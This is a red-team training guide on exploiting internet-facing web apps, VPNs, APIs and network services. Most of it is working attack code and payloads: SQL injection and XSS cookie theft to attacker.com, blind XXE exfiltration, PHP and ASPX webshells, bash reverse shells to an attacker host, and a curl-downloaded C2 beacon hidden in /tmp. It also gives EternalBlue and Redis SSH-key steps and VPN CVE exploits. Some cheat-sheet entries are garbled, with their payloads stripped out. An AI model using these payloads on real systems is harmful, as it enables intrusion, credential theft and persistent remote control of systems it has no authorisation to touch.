



◆ OFFENSIVE SECURITY SERIES ◆

# EXPLOITING PUBLIC-FACING SERVICES

**Web Apps, VPNs, APIs & Network Services**

SQLi · XSS · SSRF · XXE · RCE · LFI · IDOR · VPN CVEs · CMS Exploits

SQLi

XSS

SSRF

XXE

RCE

LFI/RFI

IDOR

VPN CVEs

CMS Exploits

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

**LEGAL DISCLAIMER**

This guide is produced by RedTeamGarage (RTG) for educational purposes only.  
All exploitation techniques must ONLY be performed on systems you own or have explicit written authorisation to test. RTG assumes zero liability for misuse.

**TABLE OF CONTENTS**

Exploiting Public-Facing Services — Web Apps, VPNs, APIs &amp; Network Services

|            |                                                                    |
|------------|--------------------------------------------------------------------|
| <b>01.</b> | <b>EXPLOITATION METHODOLOGY — WORKFLOW &amp; MINDSET</b>           |
| <b>02.</b> | <b>SQL INJECTION — DETECTION, EXPLOITATION &amp; sqlmap</b>        |
| <b>03.</b> | <b>CROSS-SITE SCRIPTING (XSS) — REFLECTED, STORED &amp; DOM</b>    |
| <b>04.</b> | <b>SERVER-SIDE REQUEST FORGERY (SSRF)</b>                          |
| <b>05.</b> | <b>XML EXTERNAL ENTITY INJECTION (XXE)</b>                         |
| <b>06.</b> | <b>LOCAL &amp; REMOTE FILE INCLUSION (LFI / RFI)</b>               |
| <b>07.</b> | <b>REMOTE CODE EXECUTION — WEBSHELLS &amp; COMMAND INJECTION</b>   |
| <b>08.</b> | <b>INSECURE DIRECT OBJECT REFERENCE (IDOR) &amp; BROKEN ACCESS</b> |
| <b>09.</b> | <b>CMS EXPLOITATION — WORDPRESS, DRUPAL &amp; JOOMLA</b>           |
| <b>10.</b> | <b>VPN &amp; REMOTE ACCESS EXPLOITATION — CVE LIBRARY</b>          |
| <b>11.</b> | <b>API EXPLOITATION — REST, GRAPHQL &amp; AUTHENTICATION FLAWS</b> |
| <b>12.</b> | <b>DESERIALIZATION &amp; TEMPLATE INJECTION (SSTI)</b>             |
| <b>13.</b> | <b>NETWORK SERVICE EXPLOITATION — FTP, SMB, SMTP &amp; RDP</b>     |
| <b>14.</b> | <b>POST-EXPLOITATION — FROM WEBSHELL TO FOOTHOLD</b>               |
| <b>15.</b> | <b>EXPLOITATION CHEAT SHEET — FULL REFERENCE</b>                   |



## 01 — EXPLOITATION METHODOLOGY

Structured Approach — From Service Discovery to Initial Access

Exploiting public-facing services is the primary initial access technique in external red team engagements. The attack surface includes web applications, content management systems, VPN gateways, remote access portals, APIs, and exposed network services. A structured methodology ensures thorough coverage without wasting time on unlikely attack paths.

| Phase             | Activity                             | Tools                      | Output            |
|-------------------|--------------------------------------|----------------------------|-------------------|
| 1 — Discovery     | Ports, services, domains, tech stack | Nmap, HTTPX, WhatWeb       | Service inventory |
| 2 — Fingerprint   | Version, CMS, framework, OS          | Nuclei, WPScan, Nikto      | Version list      |
| 3 — Vuln Match    | Known CVEs for detected versions     | SearchSploit, ExploitDB    | CVE candidates    |
| 4 — Web Vuln Test | SQLi, XSS, SSRF, LFI, RCE            | Burp Suite, SQLmap, manual | Finding list      |
| 5 — Exploit       | Public PoC or custom exploit         | Metasploit, custom scripts | Shell/access      |
| 6 — Post-Exploit  | Pivot, escalate, persist             | Metasploit, Empire, Sliver | Foothold          |

### EXTERNAL ATTACK PRIORITY ORDER

1. Known CVE + public exploit for detected version (highest probability)
2. Default credentials on admin panels (VPNs, routers, CMS admin)
3. SQL injection on login/search/filter parameters (extremely common)
4. File upload vulnerabilities — upload webshell as image/PDF
5. SSRF — call cloud metadata, internal services, pivot inward
6. Authentication bypass — parameter tampering, JWT issues, IDOR
7. Deserialization / SSTI — framework-specific, high-impact RCE

| Service           | Common Vulnerabilities           | First Check                      |
|-------------------|----------------------------------|----------------------------------|
| Web App (PHP)     | SQLi, LFI, file upload, RCE      | Login form SQLi, /etc/passwd LFI |
| Web App (.NET)    | ViewState deserialization, SQLi  | ysoserial ViewState, error SQLi  |
| Web App (Java)    | Deserialization, SSRF, Log4Shell | RMI deserialization, /actuator   |
| WordPress         | Plugin RCE, SQLi, file upload    | wpscan, xmlrpc.php brute         |
| VPN/Remote Access | Auth bypass CVEs, RCE CVEs       | Shodan fingerprint → CVE map     |
| API               | Broken auth, IDOR, injection     | No auth on endpoints, BOLA       |
| Network Services  | Default creds, unpatched CVEs    | Anonymous access, banner grab    |



## 02 — SQL INJECTION

Detection, Manual Exploitation, sqlmap & Out-of-Band Techniques

SQL injection remains one of the most consistently exploitable vulnerabilities in web applications. From credential bypass on login forms to full database extraction and operating system command execution via INTO OUTFILE or xp\_cmdshell, SQLi is often the shortest path from external attacker to server compromise. Manual testing combined with sqlmap automation provides full coverage.

### SQLi Detection — Manual Payloads

| Type            | Test Payload                      | Indicator of SQLi                 |
|-----------------|-----------------------------------|-----------------------------------|
| Error-based     | ' OR '1'='1                       | SQL error message in response     |
| Boolean-based   | ' AND 1=1-- - vs ' AND 1=2-- -    | Different page content            |
| Time-based      | '; WAITFOR DELAY '0:0:5'-- -      | Response delays 5 seconds         |
| UNION-based     | ' UNION SELECT NULL,NULL,NULL-- - | Extra data in response            |
| Comment test    | admin'-- -                        | Login bypass if auth query breaks |
| Stacked queries | '; DROP TABLE users-- -           | Error or behavior change          |

### \$ sqlmap — Automated SQLi Exploitation

```
# Basic injection test on GET parameter
sqlmap -u 'https://target.com/page?id=1' --batch --level=3 --risk=2

# POST parameter injection
sqlmap -u 'https://target.com/login' --data='user=admin&pass=test' \
  --batch --level=3

# From Burp Suite request file
sqlmap -r burp_request.txt --batch --level=5 --risk=3

# Enumerate databases
sqlmap -u 'https://target.com/page?id=1' --dbs --batch

# Dump specific table
sqlmap -u 'https://target.com/page?id=1' -D target_db -T users \
  --dump --batch

# OS command execution (MSSQL xp_cmdshell)
sqlmap -u 'https://target.com/page?id=1' --os-cmd='whoami' --batch

# Upload webshell (MySQL — requires FILE privilege)
sqlmap -u 'https://target.com/page?id=1' --os-shell --batch

# Authentication bypass payloads for login forms
# Username: admin'-- - Password: anything
# Username: ' OR 1=1-- - Password: anything
# Username: admin'/* Password: */ OR '1'='1

[*] Injecting: parameter 'id' is vulnerable (GET)
[*] backend DBMS: MySQL 8.0.28
[+] Dumped: admin:5f4dcc3b5aa765d61d8327deb882cf99 (password)
```



## 03 — CROSS-SITE SCRIPTING (XSS)

Reflected, Stored, DOM-Based & XSS to Account Takeover

XSS allows attackers to inject JavaScript into pages viewed by other users. In a red team context, XSS is weaponised for session cookie theft, credential harvesting via fake login prompts, keylogging, browser exploitation, and bypassing CSRF protections. Stored XSS on admin panels is especially high-value — a single payload executing for every admin visit.

| XSS Type  | Where It Fires               | Impact                             | Persistence        |
|-----------|------------------------------|------------------------------------|--------------------|
| Reflected | Victim clicks crafted URL    | Session theft, phishing            | None — link-based  |
| Stored    | Every visitor to the page    | Mass session theft, admin takeover | Persistent in DB   |
| DOM-Based | Client-side JS processes URL | Session theft                      | None — client only |
| Blind XSS | Fires in admin backend panel | Admin account takeover             | Depends on storage |

### \$ XSS Detection & Exploitation

```
# Basic XSS detection probes
<script>alert(1)</script>
<img src=x onerror=alert(1)>
'"><svg onload=alert(1)>
<iframe src=javascript:alert(1)>
javascript:alert(document.cookie)

# Filter bypass payloads
<ScRiPt>alert(1)</ScRiPt>           # Case variation
<img src=x onerror=alert&#40;1&#41;> # HTML encoding
<svg/onload=alert(1)>              # No space needed
eval(atob('YWxlcuQOMSk='))        # Base64 encoded payload

# Cookie theft payload
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

# XSSStrike — automated XSS detection
python3 xssstrike.py -u 'https://target.com/search?q=test'
python3 xssstrike.py -u 'https://target.com/search?q=test' --crawl

# dalfox — fast XSS scanner
dalfox url 'https://target.com/search?q=test'
dalfox file urls.txt -b https://attacker.com/xss

# Blind XSS with XSS Hunter
# Register at xsshunter.com → get payload URL
<script src=https://yourname.xss.ht></script>
# When admin views page → you get notification + screenshot
```



## 04 — SERVER-SIDE REQUEST FORGERY (SSRF)

Cloud Metadata, Internal Service Access & Blind SSRF

SSRF tricks the server into making HTTP requests on behalf of the attacker. In cloud environments this is critical — SSRF against AWS EC2 instances exposes the metadata endpoint at 169.254.169.254, leaking IAM credentials that grant access to the entire cloud environment. Internal services unreachable from the internet become accessible through SSRF as a pivot point.

### \$ SSRF Detection & Exploitation

```
# Common SSRF-vulnerable parameters
# url=, src=, dest=, redirect=, uri=, path=, fetch=, load=
# callback=, imageUrl=, next=, return=, proxy=, remote=

# Basic SSRF test — point to your Burp Collaborator or interactsh
https://target.com/fetch?url=https://your-collaborator.burpcollaborator.net
https://target.com/img?src=http://169.254.169.254/latest/meta-data/

# AWS EC2 metadata SSRF — retrieve IAM credentials
# Step 1: Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Step 2: Get credentials for that role
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Returns: AccessKeyId, SecretAccessKey, Token → use in aws CLI

# IMDSv2 bypass (requires token first)
curl -X PUT 'http://169.254.169.254/latest/api/token' \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'
curl -H 'X-aws-ec2-metadata-token: TOKEN' \
  'http://169.254.169.254/latest/meta-data/iam/security-credentials/'

# Azure metadata endpoint
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?...

# Internal port scan via SSRF (time-based)
https://target.com/fetch?url=http://127.0.0.1:22      # SSH
https://target.com/fetch?url=http://127.0.0.1:6379    # Redis
https://target.com/fetch?url=http://127.0.0.1:8080    # Internal app

# SSRF bypass techniques
http://0.0.0.0:80          # Loopback alternative
http://[::1]:80            # IPv6 loopback
http://127.1/              # Short-form IP
http://2130706433/         # Decimal IP (127.0.0.1)
http://target.attacker.com # DNS rebinding
```

**SSRF HIGH-VALUE INTERNAL TARGETS**

AWS Metadata 169.254.169.254 — IAM creds, instance info, user-data scripts

Azure Metadata 169.254.169.254 — Managed identity OAuth tokens

Redis 127.0.0.1:6379 — Unauthenticated, write SSH keys or RCE

Elasticsearch 127.0.0.1:9200 — Often unauth, dump all indexed data

Kubernetes API 10.96.0.1:443 — Service account tokens, cluster control

Internal Admin 10.x.x.x:8080 — Internal portals, Jenkins, Grafana, etc.





## 05 — XML EXTERNAL ENTITY INJECTION (XXE)

File Read, SSRF via XML & Blind XXE Exfiltration

XXE injection exploits misconfigured XML parsers that process external entity references. Attackers use XXE to read arbitrary files from the server filesystem, perform SSRF attacks via XML, and in some cases achieve remote code execution. XXE is commonly found in SOAP APIs, document upload features (DOCX/XLSX/SVG), and any application accepting XML input.

### \$ XXE Payloads & Detection

```
# Basic XXE – read /etc/passwd
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root><data>&xxe;</data></root>

# Windows target – read sensitive file
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///c:/windows/win.ini'>]>

# SSRF via XXE – access cloud metadata
<!DOCTYPE foo [<!ENTITY xxe SYSTEM
  'http://169.254.169.254/latest/meta-data/iam/security-credentials/'>]>

# Blind XXE – data exfil via DNS/HTTP to attacker server
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM 'file:///etc/passwd'>
  <!ENTITY % dtd SYSTEM 'https://attacker.com/evil.dtd'>
  %dtd;
]>
# evil.dtd on attacker server:
# <!ENTITY % all '<!ENTITY send SYSTEM
#   "http://attacker.com/?data=%file;">'>
# %all; %send;

# XXE in file upload (SVG, DOCX, XLSX all parsed as XML)
# Upload malicious SVG:
<svg xmlns='http://www.w3.org/2000/svg'>
  <!DOCTYPE svg [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
  <text>&xxe;</text>
</svg>

# Test endpoints: SOAP APIs, XML REST endpoints, file upload
# Set Content-Type: application/xml and replace JSON with XML
```



## 06 — LOCAL & REMOTE FILE INCLUSION

LFI Path Traversal, Log Poisoning & PHP Filter RCE

Local File Inclusion (LFI) allows attackers to include arbitrary files from the server filesystem via vulnerable file path parameters. LFI can escalate to Remote Code Execution through log poisoning, PHP session file injection, and the PHP filter chain technique. Remote File Inclusion (RFI) directly includes and executes remote PHP files, achieving instant RCE when enabled.

### \$ LFI Detection & Exploitation

```
# Common LFI-vulnerable parameters
# page=, file=, include=, path=, view=, template=, doc=

# Basic LFI test
https://target.com/page?file=../../../../etc/passwd
https://target.com/page?file=../../../../../../../../etc/passwd
https://target.com/page?file=..%2F..%2F..%2Fetc%2Fpasswd
https://target.com/page?file=%2Fetc%2Fpasswd

# High-value files to read via LFI
# /etc/passwd           - usernames
# /etc/shadow           - password hashes (if readable)
# /home/user/.ssh/id_rsa - SSH private keys
# /var/www/html/config.php - DB credentials
# /proc/self/environ     - environment variables
# /var/log/apache2/access.log - log poisoning target

# LFI → RCE via log poisoning
# Step 1: Inject PHP into Apache access log via User-Agent
curl -A '<?php system($_GET["cmd"]); ?>' https://target.com/
# Step 2: Include log file via LFI + pass command
https://target.com/page?file=/var/log/apache2/access.log&cmd=id

# PHP filter chain - LFI to RCE without file write
# Generate payload with php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]);?>'
# Use generated filter chain as LFI path value

# RFI - include remote PHP webshell (requires allow_url_include=On)
https://target.com/page?file=http://attacker.com/shell.php
https://target.com/page?file=http://attacker.com/shell.php?cmd=id
```



## 07 — REMOTE CODE EXECUTION & WEBSHELLS

Command Injection, File Upload & Webshell Deployment

Remote Code Execution (RCE) is the crown jewel of web application exploitation. Whether achieved through command injection, file upload bypass, deserialization, or exploitation of a known CVE, RCE provides direct operating system access. Webshells are the most common persistence mechanism after achieving RCE — a small PHP/ASPX/JSP file that accepts commands via HTTP parameters.

### \$ Command Injection & Webshell Deployment

```
# Command injection detection – inject OS commands into input fields
# Payload in any user-input field:
; id
| whoami
& ipconfig
`id`
$(id)
; ping -c 4 attacker.com # Blind: detect via ICMP

# File upload bypass – upload PHP webshell disguised as image
# Rename: shell.php → shell.php.jpg OR shell.pHp OR shell.php%00.jpg
# Magic bytes bypass: add GIF89a; to start of PHP file
echo 'GIF89a;<?php system($_GET["c"]); ?>' > shell.gif

# Minimal PHP webshell
<?php system($_GET['c']); ?>

# More capable PHP webshell
<?php
if(isset($_REQUEST['c'])){
    $c=$_REQUEST['c']; echo '<pre>'; system($c); echo '</pre>';
}
?>

# ASPX webshell (Windows/.NET targets)
<%@ Page Language='C#' %>
<%Response.Write(new System.Diagnostics.Process(){StartInfo=
    new System.Diagnostics.ProcessStartInfo("cmd", "/c "+
    Request["c"]}).Start());%>

# Upgrade webshell to reverse shell
# Execute via webshell: bash -i >& /dev/tcp/ATTACKER/4444 0>&1
# URL encode: bash+-i+>%26+/dev/tcp/10.10.10.99/4444+0>%261
```

**FILE UPLOAD BYPASS TECHNIQUES**

- Extension blacklist bypass — .php → .php5, .phtml, .pHp, .PHP
- Double extension — shell.php.jpg (if only last ext checked)
- Null byte injection — shell.php%00.jpg (PHP < 5.3.4)
- Content-Type manipulation — Change to image/jpeg in Burp Suite
- Magic bytes — Add GIF89a; or PNG header to PHP file
- Polyglot file — Valid JPEG that is also valid PHP



## 08 — IDOR & BROKEN ACCESS CONTROL

Object Reference Manipulation, Privilege Escalation & Mass Assignment

Insecure Direct Object Reference (IDOR) occurs when an application uses user-supplied input to access objects without proper authorisation checks. Changing a user ID from 1001 to 1000 in an API call should not return another user's data — but it frequently does. IDOR is the most commonly reported vulnerability class in bug bounty programs and is often trivially exploitable.

### \$ IDOR & Access Control Testing

```
# IDOR via URL parameter manipulation
# Original: GET /api/user/profile?id=1001
# Attack:   GET /api/user/profile?id=1000 → another user's data

# IDOR in API endpoint path
# Original: GET /api/v1/accounts/84729/statement
# Attack:   GET /api/v1/accounts/84728/statement

# IDOR in POST body
# Original: POST /update-email {"user_id":1001, "email":"me@x.com"}
# Attack:   POST /update-email {"user_id":1000, "email":"me@x.com"}

# Horizontal privilege escalation – access other user's resources
# Vertical privilege escalation – access admin resources
# Original: GET /api/user/settings
# Attack:   GET /api/admin/settings (if auth not checked by role)

# Mass assignment – send extra fields not expected by server
# Original: POST /register {"name":"John","email":"j@x.com"}
# Attack:   POST /register {"name":"John","email":"j@x.com","role":"admin"}

# JWT token manipulation – decode, modify, re-encode
# Decode: echo 'JWT_PAYLOAD' | base64 -d
# Modify role/userId field → re-sign with none algorithm or found secret

# Authorize (Burp Extension) – automated IDOR testing
# Intercept requests as low-priv user
# Authorize replays each request as other user to detect access issues
```



## 09 — CMS EXPLOITATION

WordPress, Drupal & Joomla — Scanning, CVEs & Default Creds

Content management systems run an estimated 40%+ of all websites. WordPress alone powers over 43% of the web. Outdated CMS installations, vulnerable plugins, and default configurations provide reliable exploitation paths. Automated scanners identify the exact version, installed plugins, and known CVEs within minutes.

### \$ WordPress, Drupal & Joomla Exploitation

```
# WPScan — WordPress vulnerability scanner
wpscan --url https://target.com --enumerate vp,vt,u,ap,at \
  --api-token YOUR_WPSCAN_API_KEY
# vp=vulnerable plugins, vt=vulnerable themes, u=users, ap=all plugins

# WPScan — credential brute force
wpscan --url https://target.com -U admin -P /usr/share/wordlists/rockyou.txt

# WordPress — xmlrpc.php brute force (bypasses login page lockout)
python3 xmlrpc_brute.py --url https://target.com/xmlrpc.php \
  --user admin --passwd /usr/share/wordlists/rockyou.txt

# WordPress — upload plugin webshell (if admin creds known)
# Navigate: WP Admin → Plugins → Add New → Upload Plugin
# Upload: malicious-plugin.zip containing shell.php
# Access: https://target.com/wp-content/plugins/malicious/shell.php?c=id

# Drupal — droopescan
droopescan scan drupal -u https://target.com

# Drupal — Drupalgeddon2 (CVE-2018-7600) — unauthenticated RCE
python3 drupalgeddon2.py -t https://target.com

# Joomla — joomscan
perl joomscan.pl -u https://target.com

# Joomla — PHP webshell via template editor (if admin access)
# Admin → Extensions → Templates → Edit error.php → add shell code

# Common CMS admin paths
# WordPress: /wp-admin/ /wp-login.php
# Joomla: /administrator/
# Drupal: /admin/ /user/login
# Magento: /admin/ /downloader/
```



## 10 — VPN & REMOTE ACCESS EXPLOITATION

Critical CVEs — Pulse, Fortinet, Citrix, GlobalProtect & Ivanti

VPN and remote access gateways are among the most valuable targets in external red team engagements — a successful exploit grants direct network access as if on-site. The past five years have seen a steady stream of critical CVEs in all major VPN products, many enabling unauthenticated pre-auth RCE or authentication bypass.

| Product                 | CVE            | Type                         | Impact                   |
|-------------------------|----------------|------------------------------|--------------------------|
| Pulse Secure            | CVE-2019-11510 | Pre-auth arbitrary file read | Cred theft → RCE         |
| Pulse Secure            | CVE-2021-22893 | Pre-auth RCE                 | Full compromise          |
| Fortinet SSL-VPN        | CVE-2018-13379 | Path traversal — read creds  | VPN credentials          |
| Fortinet                | CVE-2022-42475 | Pre-auth heap overflow RCE   | Unauthenticated RCE      |
| Citrix ADC/GW           | CVE-2019-19781 | Path traversal → RCE         | Unauthenticated RCE      |
| Citrix                  | CVE-2023-3519  | Pre-auth RCE                 | Full unauthenticated RCE |
| Palo Alto GlobalProtect | CVE-2024-3400  | Command injection            | Pre-auth RCE             |
| Ivanti Connect Secure   | CVE-2024-21887 | Command injection            | Post-auth RCE            |
| Ivanti Connect Secure   | CVE-2023-46805 | Auth bypass                  | Bypass MFA → access      |
| SonicWall SMA           | CVE-2021-20016 | SQL injection                | Auth bypass + creds      |

### \$ VPN CVE Exploitation Workflow

```
# Step 1: Fingerprint VPN product and version
nmap --script http-headers,http-title -p 443,4443,8443 target.com
curl -sI https://target.com:443/ | grep -i 'server\|x-powered-by\|via'
# Shodan: 'ssl.cert.subject.cn:target.com port:443'

# Step 2: Match version to CVE
searchsploit 'Pulse Secure'
searchsploit 'Fortinet SSL'
nuclei -u https://target.com -tags vpn,cve

# Step 3: Fortinet CVE-2018-13379 — read VPN credentials
curl 'https://target.com/remote/fgt_lang?lang=../../../../etc/passwd'
curl 'https://target.com/remote/fgt_lang?lang=../../../../etc/sslvpn/fortisslvpn.conf'

# Step 4: Citrix CVE-2019-19781 — path traversal to RCE
curl 'https://target.com/vpn/../../vpns/portal/scripts/newbm.pl' \
  --data 'title=test&desc=test|id&url=test'

# Step 5: Use harvested VPN credentials
# Connect to VPN → internal network access
# Run crackmapexec, BloodHound from VPN tunnel
```



## 11 — API EXPLOITATION

REST, GraphQL, Auth Flaws, BOLA & Injection

APIs are the backbone of modern applications and frequently lag behind web UIs in security maturity. Broken Object Level Authorization (BOLA/IDOR), missing authentication on sensitive endpoints, mass assignment, injection via API parameters, and GraphQL introspection abuse are among the most impactful API vulnerabilities encountered in real engagements.

### \$ API Exploitation Techniques

```
# BOLA (Broken Object Level Authorization) – IDOR in APIs
GET /api/v1/users/1001/orders → change to /api/v1/users/1000/orders
GET /api/v2/invoices/84729 → enumerate: 84728, 84727, 84726...

# Missing authentication – probe unauthenticated
curl https://target.com/api/v1/admin/users
curl https://target.com/api/v1/users # May return all users

# HTTP method manipulation
# GET /api/resource → may be auth'd
# POST/PUT/DELETE /api/resource → may not be auth'd separately

# Mass assignment – extra JSON fields
curl -X POST https://target.com/api/register \
-H 'Content-Type: application/json' \
-d '{"name":"attacker","email":"a@x.com","isAdmin":true}'

# GraphQL introspection – dump entire schema
curl -X POST https://target.com/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{__schema{types{name fields{name type{name}}}}}}'" | jq

# GraphQL – batch query abuse (rate limit bypass)
[{"query":"mutation{login(u:\"admin\",p:\"pass1\")}"},
{"query":"mutation{login(u:\"admin\",p:\"pass2\")}"},
{"query":"mutation{login(u:\"admin\",p:\"pass3\")}"}]

# JWT attacks – algorithm confusion
# Decode JWT → change alg:RS256 to alg:HS256
# Re-sign with RS256 public key as HMAC secret
python3 jwt_tool.py TOKEN -X a # jwt_tool – automated JWT attacks

# Kiterunner – API route brute force
kr scan https://target.com -w routes-large.kite -o api_routes.txt
```





## 12 — DESERIALIZATION & TEMPLATE INJECTION

ysoserial, Java/PHP Deserialization & SSTI Payloads

Deserialization vulnerabilities occur when user-controlled serialised data is deserialised without validation, allowing attackers to inject malicious objects that execute arbitrary code. Server-Side Template Injection (SSTI) exploits template engines (Jinja2, Freemarker, Twig, Pebble) that render user input directly, enabling OS command execution through template syntax.

### \$ Deserialization & SSTI Exploitation

```
# SSTI Detection – inject template expression and observe output
# Input: {{7*7}} → If output is 49, template injection confirmed
# Input: ${7*7} → Freemarker/Spring
# Input: #{7*7} → Pebble
# Input: *{7*7} → Thymeleaf

# Jinja2 SSTI (Python/Flask) – RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{'.'.__class__.__mro__[1].__subclasses__()[XXX]('id', shell=True,
  stdout=-1).communicate()}}

# Twig SSTI (PHP) – RCE
{{['id']|filter('system')}}
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}

# Java deserialization – ysoserial
java -jar ysoserial.jar CommonsCollections6 'id' > payload.ser
# Send payload.ser as serialized Java object (Base64 or raw bytes)

# PHP deserialization – generate payload
# Craft PHP object with __wakeup() or __destruct() gadget chain
# PHPGGC – PHP gadget chain generator
php phpggc.php Laravel/RCE1 system id > payload.txt

# Apache Struts RCE (S2-045, S2-057) – OGNL injection
# CVE-2017-5638 – Content-Type header injection
curl -X POST https://target.com/action \
  -H 'Content-Type:%{(#_="multipart/form-data").(#cmd="id")}{'
```



## 13 — NETWORK SERVICE EXPLOITATION

FTP, SMB, RDP, SMTP & Database Services

Network services exposed to the internet provide direct exploitation opportunities independent of web application vulnerabilities. Anonymous FTP, SMB null sessions, RDP BlueKeep, unauthenticated database ports, and misconfigured SMTP relays are all regularly found on external perimeters and represent quick wins for initial access.

| Service/Port         | CVE / Technique                | Exploit Method                                   |
|----------------------|--------------------------------|--------------------------------------------------|
| FTP (21)             | Anonymous login                | ftp target.com → user: anonymous                 |
| SSH (22)             | Weak credentials, old version  | Hydra spray, searchsploit version                |
| SMB (445)            | EternalBlue MS17-010           | msf: exploit/windows/smb/ms17_010_eternalblue    |
| SMB (445)            | Null session / guest           | smbclient -N -L //target / enum4linux            |
| RDP (3389)           | BlueKeep CVE-2019-0708         | msf: exploit/windows/rdp/cve_2019_0708_bluekeep  |
| SMTP (25/587)        | Open relay                     | swaks --to victim@target.com --server target.com |
| MySQL (3306)         | Unauthenticated / default root | mysql -h target.com -u root -p"                  |
| MSSQL (1433)         | sa:blank, xp_cmdshell          | impacket mssqlclient.py sa:@target.com           |
| Redis (6379)         | No-auth, RCE via config        | redis-cli -h target.com → CONFIG SET             |
| MongoDB (27017)      | No-auth, default bind          | mongo target.com:27017 → show dbs                |
| Elasticsearch (9200) | No-auth API                    | curl http://target.com:9200/_cat/indices         |

### \$ Network Service Exploitation Commands

```
# SMB EternalBlue — Metasploit
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.99
run

# Redis RCE via config — write SSH authorized_keys
redis-cli -h 10.10.10.1
> CONFIG SET dir /root/.ssh
> CONFIG SET dbfilename authorized_keys
> SET attacker_key 'ssh-rsa AAAA...your_public_key...'
> BGSAVE

# Now SSH as root: ssh root@10.10.10.1

# MSSQL — enable xp_cmdshell for command execution
python3 mssqlclient.py sa:password@10.10.10.1
SQL> EXEC sp_configure 'show advanced options',1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';
```



## 14 — POST-EXPLOITATION

Webshell to Foothold — Stabilise, Enumerate & Pivot

Initial access via webshell or CVE exploit is just the beginning. Post-exploitation stabilises the access, enumerates the host for credentials and lateral movement paths, and pivots into the internal network. Every shell should immediately be upgraded to a stable interactive session and a C2 beacon implanted for persistence.

### \$ Webshell to Interactive Shell to C2

```
# Step 1: Execute reverse shell via webshell
# Via webshell URL: ?c=bash+-i+%26+/dev/tcp/ATTACKER/4444+0+%261

# Step 2: Catch with netcat
nc -lvnp 4444

# Step 3: Upgrade to stable shell (Linux)
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z → stty raw -echo; fg → reset → export TERM=xterm

# Step 4: Local enumeration
id && whoami && hostname && ip addr
cat /etc/passwd | grep -v nologin | grep -v false
sudo -l # Check sudo rights
find / -perm -4000 2>/dev/null # SUID binaries
find / -writable -type f 2>/dev/null | grep -v proc

# Step 5: Look for credentials
grep -r 'password\|passwd\|secret\|key' /var/www/ 2>/dev/null
cat ~/.bash_history
find / -name '*.conf' -o -name '*.config' 2>/dev/null | xargs grep -l pass

# Step 6: Implant C2 beacon
# Download Sliver/Havoc implant, execute in background
curl -s http://ATTACKER/beacon -o /tmp/.update && chmod +x /tmp/.update
nohup /tmp/.update &

# Step 7: Pivot to internal network
# Chisel for port forwarding
# Attacker: ./chisel server -p 8080 --reverse
# Target:    ./chisel client ATTACKER:8080 R:socks
# Now use proxychains to access internal 10.x.x.x
```



## 15 — EXPLOITATION CHEAT SHEET

Quick Reference — Detection to Shell

|                                |                                                                                  |
|--------------------------------|----------------------------------------------------------------------------------|
| <b>SQLi test</b>               | <code>sqlmap -r req.txt --batch --level=3 --dbs</code>                           |
| <b>SQLi login bypass</b>       | <code>Username: admin'-- - Password: anything</code>                             |
| <b>XSS reflect test</b>        | <code>[script]alert(1)[/script] / [img src=x onerror=alert(1)]</code>            |
| <b>XSS cookie steal</b>        | <code>[script]document.location='//attacker/?c='+document.cookie[/script]</code> |
| <b>dalfox XSS scan</b>         | <code>dalfox url 'https://target.com/search?q=test'</code>                       |
| <b>SSRF AWS metadata</b>       | <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/</code>   |
| <b>XXE file read</b>           | <code>]&gt;&amp;e;</code>                                                        |
| <b>LFI test</b>                | <code>?file=../../../../etc/passwd or ?file=.....//....//etc/passwd</code>       |
| <b>LFI log poison</b>          | <code>curl -A '' https://target.com/</code>                                      |
| <b>PHP filter RCE</b>          | <code>python3 php_filter_chain_generator.py --chain ''</code>                    |
| <b>Upload bypass</b>           | <code>Rename shell.php → shell.php5 / shell.phtml / add GIF89a; header</code>    |
| <b>Command injection</b>       | <code>  id ;id `id` \$(id) – inject into all input fields</code>                 |
| <b>IDOR test</b>               | <code>Change /api/user/1001 → /api/user/1000 in every API call</code>            |
| <b>WPScan</b>                  | <code>wpscan --url https://target.com --enumerate vp,u --api-token KEY</code>    |
| <b>Drupalgeddon2</b>           | <code>python3 drupalgeddon2.py -t https://target.com</code>                      |
| <b>VPN fingerprint</b>         | <code>nuclei -u https://target.com -tags vpn,cve,fortinet,pulse</code>           |
| <b>Fortinet CVE-2018-13379</b> | <code>curl 'https://target/remote/fgt_lang?lang=../../../../etc/passwd'</code>   |
| <b>SSTI test</b>               | <code>{{7*7}} \${7*7} #{7*7} – check if output is 49</code>                      |
| <b>Jinja2 SSTI RCE</b>         | <code>{{config.__class__.__init__.__globals__['os'].popen('id').read()}}</code>  |
| <b>EternalBlue</b>             | <code>msf: use exploit/windows/smb/ms17_010_eternalblue</code>                   |
| <b>Redis RCE</b>               | <code>redis-cli CONFIG SET dir /root/.ssh → write authorized_keys</code>         |
| <b>MSSQL RCE</b>               | <code>EXEC sp_configure 'xp_cmdshell',1 → EXEC xp_cmdshell 'whoami'</code>       |
| <b>Reverse shell</b>           | <code>bash -i &gt;&amp; /dev/tcp/ATTACKER/4444 0&gt;&amp;1</code>                |
| <b>Shell upgrade</b>           | <code>python3 -c 'import pty;pty.spawn("/bin/bash")'</code>                      |



## CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



|                  |                                                                                                                     |
|------------------|---------------------------------------------------------------------------------------------------------------------|
